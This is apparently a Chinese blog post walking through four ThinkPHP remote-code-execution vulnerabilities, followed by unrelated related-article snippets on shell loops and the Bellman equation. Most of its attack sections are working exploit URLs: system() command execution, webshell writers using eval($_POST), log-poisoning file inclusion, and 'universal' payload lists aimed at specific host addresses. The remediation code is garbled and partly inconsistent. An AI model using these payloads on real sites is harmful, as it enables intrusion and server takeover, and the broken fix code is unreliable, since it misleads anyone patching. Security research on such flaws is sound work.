thinkphp漏洞复现

article/2025/8/2 17:19:59

所有文章,仅供安全研究与学习之用,后果自负!

thinkphp漏洞

  • 前言
  • 一、thinkphp-2x-rce 代码执行
    • 0x01 漏洞描述
    • 0x02 影响版本
    • 0x03 漏洞利用
    • 0x04 漏洞修复
  • 二、thinkphp 代码执行 (CNVD-2018-24942)
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞利用
      • 这就完成了,这边我们引用下大佬的poc
    • 0x04 漏洞修复
  • 三、 thinkphp3.2.x 代码执行
    • 0x01漏洞描述
    • 0x02影响范围
    • 0x03漏洞利用
      • payload
    • 0x04漏洞修复
  • 四、thinkphp 命令执行 (CVE-2018-1002015)
    • 0x01漏洞描述
    • 0x02影响范围
    • 0x03漏洞利用
    • 0x04漏洞修复
      • 用户可下载官方发布的补丁:
      • 或者或者直接修改源码:


前言

Tp漏洞复现


提示:以下是本篇文章正文内容,下面案例可供参考

一、thinkphp-2x-rce 代码执行

0x01 漏洞描述

描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

0x02 影响版本

影响Thinkphp 2.x的版本

0x03 漏洞利用

(1)访问主页为
在这里插入图片描述
(2)
payload 输入以下
/index.php?s=/index/index/xxx/ @ p h p i n f o ( ) / / p h p i n f o 敏 感 文 件 / i n d e x . p h p ? s = a / b / c / {@phpinfo()} //phpinfo敏感文件 /index.php?s=a/b/c/ @phpinfo()//phpinfo/index.php?s=a/b/c/{@print(eval($_POST[1]))} //此为一句话连菜刀
在这里插入图片描述
webshell 直接连接即可

在这里插入图片描述
在这里插入图片描述

0x04 漏洞修复

修复方案
将Dispatcher.class.php文件中的代码

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’. d e p r . ′ / ] + ) @ e ′ , ′ depr.'/]+)@e', ' depr./]+)@e,var[‘1’]=“2”;’, implode( d e p r , depr, depr,paths));
修改为

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’. d e p r . ′ / ] + ) @ e ′ , ′ depr.'/]+)@e', ' depr./]+)@e,var[‘1’]="2’;’, implode( d e p r , depr, depr,paths));

二、thinkphp 代码执行 (CNVD-2018-24942)

0x01 漏洞描述

描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击

0x02 影响范围

ThinkPHP 5.0.全版本
版本名 是否可被攻击 攻击条件
5.0.0 否 无
5.0.1 否 无
5.0.2 否 无
5.0.3 否 无
5.0.4 否 无
5.0.5 否 无
5.0.6 否 无
5.0.7 否 无
5.0.8 是 无需开启debug
5.0.9 是 无需开启debug
5.0.10 是 无需开启debug
5.0.11 是 无需开启debug
5.0.12 是 无需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 无
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug

0x03 漏洞利用

(1)访问主页
在这里插入图片描述
在这里插入图片描述

(2)
远程代码执行
http://118.193.36.37:54506
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
在这里插入图片描述
(3)
上传一句话木马
http://118.193.36.37:54506
/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[1])?%3E
访问
http://118.193.36.37:54506/shell.php
在这里插入图片描述
蚁剑连接一句话木马
在这里插入图片描述

这就完成了,这边我们引用下大佬的poc

两个通杀payload

版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本号:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami

5.1.x php版本>5.5:

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4:

exp0 = ‘/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’

exp1 = ‘/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>’

exp2 = ‘/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘<?php @eval($_POST[xxxxxx]);?>’>zxc2.php’

pay

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

写shell:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘<?php @eval($_POST[xxxxxx]);?>’>zxc2.php’

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

原文链接
https://www.cnblogs.com/miansj/p/14639276.html

0x04 漏洞修复

https://blog.thinkphp.cn/869075

三、 thinkphp3.2.x 代码执行

0x01漏洞描述

描述: ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。 该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

0x02影响范围

0x03漏洞利用

(1)访问看版本号
在这里插入图片描述
(2)

payload

/index.php?m=--><?=phpinfo();?>
/index.php?m=--><?=system('ls /tmp');?>
/index.php?m=--><?=system('cat$IFS$9`ls` ');?>
/index.php?m=--><?=system('ls$IFS$9/');?>
/index.php?m=--><?=system('cat$IFS$9/flag');?>
#上面先传入log文件,下面文件包含。
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_10_25.log

抓包写入log文件 (浏览器写入不成功)
http://118.193.36.37:36664/index.php?m=–><?=phpinfo();?>
在这里插入图片描述

文件包含访问 日志文件
http://118.193.36.37:57897/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_10_25.log

在这里插入图片描述
flag-{bmh1858f335-8771-47ba-977e-91f741949934}
参考
https://blog.csdn.net/weixin_46203060/article/details/119532553?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-5.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-5.no_search_link

0x04漏洞修复

四、thinkphp 命令执行 (CVE-2018-1002015)

0x01漏洞描述

描述: ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。 ThinkPHP 5.0.x版本和5.1.x版本中存在远程代码执行漏洞,该漏洞源于ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤。远程攻击者可通过输入‘\’字符的方式调用任意方法利用该漏洞执行代码。

0x02影响范围

5.x < 5.1.31, <= 5.0.23

0x03漏洞利用

(1)爆版本
在这里插入图片描述
(2)利用system函数远程命令执行:
whoami

http://118.193.36.37:54655/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

ls /tmp

http://118.193.36.37:54655/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

在这里插入图片描述

phpinfo()

http://118.193.36.37:54655/index.php?/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述

4.写入shlel

http://118.193.36.37:54655/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"])?^>>shell.php

生成shell.php
连接
http://118.193.36.37:54655/shell.php

参考
https://www.cnblogs.com/yuzly/p/11460285.html

0x04漏洞修复

用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2";’, implode( d e p r , depr, depr,paths));

修改为:

r e s = p r e g r e p l a c e ( ′ @ ( w + ) ′ . res = preg_replace('@(w+)'. res=pregreplace(@(w+).depr.’([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[’\1’]="\2’;’, implode( d e p r , depr, depr,paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。


http://chatgpt.dhexx.cn/article/uAQ0Pcc5.shtml

相关文章

【shell】shell脚本实战-while循环语句

前言 上文我们讨论了for循环的使用&#xff0c;在有限循环里&#xff0c;我们使用for循环是很方便的一件事情&#xff0c;今天我们来探讨下while循环 while循环语句的语法分析 语法格式一&#xff1a; while [条件] do操作 done语法格式二&#xff1a; while read line do操作…

linux中shell的循环

循环主要分为3种 1.for循环 for循环的基本语法结构是三步走 for ##条件do ##要做什么 done ##结束 借几个脚本来理解一下…

【Linux】shell编程之循环语句

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、循环语句二、for循环语句1.for 语句的结构2.for语句应用示例 三、while 循环语句1.while 循环语句结构2.while语句应用示例 四、until 循环五、跳出循环六、死循…

shell-循环

接上一篇shell运算符接着往下说&#xff0c;shell循环&#xff1a; shell循环有三种&#xff0c;一种是for循环&#xff0c;一种是while循环&#xff0c;还有一种是until循环&#xff0c;循环体中和java类似&#xff0c;可以使用break调出当前循环&#xff0c;continue继续下一…

linux\bash shell for命令\循环

内容来自《Linux命令行与shell脚本编程大全.第3版 (布鲁姆&#xff0c;布雷斯纳汉)》for命令 下面是基本格式&#xff1a; for var in list # 或者把do也写在这一行&#xff1a;for var in list; do docommands done例如&#xff0c;读取列表&#xff1a; for test in A…

linux用while循环输出1到10,Linux Shell系列教程之(十一)Shell while循环 | Linux大学...

摘要 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经对Shell 循环语句的for循环进行了介绍&#xff0c;本篇给大家介绍下Shell 中另一种循环语句&#xff1a;Shell while循环。 在上一篇Linux Shell系列教程之(十)Shell for循环中&#xff0c;我们已经…

Linux命令行循环执行shell命令浅谈

本文主要介绍了Linux命令行&#xff0c;循环执行shell命令的相关知识&#xff0c;主要包括死循环&#xff0c;普通计数循环&#xff0c;以及Linux shell循环命令 while死循环的用法,需要的朋友可以参考下 Linux命令行&#xff0c;循环执行shell命令 死循环 命令格式 1 while t…

Linux中shell的循环语句

目录 一、循环语句 1、for循环语句 批量添加未存在的用户&#xff0c;用户名存放在users.txt文件中&#xff0c;每行一个初始密码均设为123456&#xff0c;新增users.txt 文件&#xff0c;vim users.txt 录入用户 2、while循环语句 通过变量RANDOM获得1-999随机数,提示用户猜测…

【LinuxShell】Shell编程之循环语句

文章目录 前言一、循环1.循环的作用2.循环和遍历 二、for循环语句1.for语句的用法2.for逻辑结构3.for语句的格式4.echo的用法5.for语句的典型案列 三、while循环语句1.while语句的用法2.while逻辑结构3.while语句的格式4.while语句的典型案例 四、until命令1.until语句的用法2.…

【Linux】:shell循环语句

运行Shell脚本有两种方法&#xff1a; 1、vi test.sh #! /bin/bash #编写内容 运行sh test.sh 2、chmod x ./test.sh #脚本具有执行权限 ./test.sh #执行脚本 if条件判断 单分支if条件&#xff1a; if [ 条件判断式 ]then程序 fi注意&#xff1a;中括号与条件判断式之间有空…

shell脚本循环执行一个linux命令,shell脚本编程之循环语句

在运行脚本时重复执行一系列的命令是很常见的&#xff0c;这时我们就需要使用循环语句来达到这个目的。 一、for命令 格式&#xff1a;for 变量 in 列表&#xff1b;do 循环体 done for命令会遍历列表中的每一个值&#xff0c;并且在遍历完成后退出循环。 列表形式有以下几种&a…

Linuxshell脚本之循环语句

目录 一、循环 1.循环的含义 2.重复运行次数 3.常见的循环命令 4.循环示意图 二、For语句 1.定义 2.表达式 &#xff08;1&#xff09;for循环 &#xff08;2&#xff09;算术for循环 &#xff08;3&#xff09;嵌套 ​ 三、while语句 1定义 2.格式 3.while循…

【Linux】 Shell循环

for循环遍历 { }C语言风格的for 遍历 while 循环 while test测试成立 do命令 donewhile : # 相当于while true until循环 与while 循环相反 until 循环 while test测试不成立 do命令 donecontinue & break 嵌套的时候 if 要和 fi 在一起 do 要和done 在一起 (相邻最…

二、马尔可夫决策过程与贝尔曼方程

这里写目录标题 1 马尔可夫性质2 马尔可夫过程3 马尔可夫奖励过程&#xff08;Markov reward process, MRP&#xff09;3.1 MRP的贝尔曼方程3.2 MRP的贝尔曼方程求解方法3.3 总结 4 马尔可夫决策过程&#xff08;Markov decision process, MDP&#xff09;4.1 MDP状态价值函数贝…

马尔可夫决策过程和贝尔曼方程

马尔可夫决策过程&#xff08;MDP)简介 下一个状态 S t 1 S_{t1} St1​是从概率分布P中得到的&#xff0c;该概率分布P取决于整个历史&#xff0c;因此我们需要考虑从 s 0 s_0 s0​开始到t时刻的状态。马尔可夫是具有马尔可夫性质的随机过程 定义 P [ S t 1 ∣ S t ] P [ …

贝尔曼方程(Bellman Equation)

贝尔曼方程&#xff08;Bellman Equation&#xff09;也被称作动态规划方程&#xff08;Dynamic Programming Equation&#xff09;&#xff0c;由理查贝尔曼&#xff08;Richard Bellman&#xff09;发现&#xff0c;由于其中运用了变分法思想&#xff0c;又被称之为现代变分法…

强化学习:贝尔曼方程(Bellman Equation)

∗ ∗ 重点&#xff1a;状态值、贝尔曼方程 ∗ ∗ **重点&#xff1a;状态值、贝尔曼方程** ∗∗重点&#xff1a;状态值、贝尔曼方程∗∗ return评估策略 在前面概念介绍中&#xff0c;我们知道了可以用 return 来评估一个策略的好坏。如图&#xff0c;有三个不同的策略&…

贝尔曼方程推导

马尔可夫的动态特性&#xff1a; 回报&#xff1a;&#xff08;两种定义&#xff09; 或 &#xff08;折扣率大于等于0小于等于1&#xff0c;折扣率决定了未来收益的现值&#xff09; 状态价值函数&#xff1a;从状态s开始&#xff0c;智能体按照策略π进行决策所获得回报的…

【机器学习】带你轻松理解什么是强化学习中的贝尔曼方程

系列文章目录 第十八章 Python 机器学习入门之强化学习 目录 系列文章目录 前言 一、什么是贝尔曼方程 二、贝尔曼方程为什么有用 三、贝尔曼方程是怎么来的 总结 前言 贝尔曼方程是强化学习中最重要的一个方程式。如果可以计算状态S 的状态动作函数 Q(s,a)&#xff0c…

强化学习/动态规划:贝尔曼方程的解读 Bellman Equation 贝尔曼方程组 / 贝尔曼最优方程

前言&#xff1a; 读书《Reinforcement Learning: An Introduction Second Edition》&#xff0c;读到第三章有限马尔科夫决策过程MDP中&#xff0c;提到了贝尔曼方程的理解。一开始我是有点懵逼的&#xff0c;现在看懂了其意思&#xff0c;在这里解释一下。 贝尔曼方程理解 下…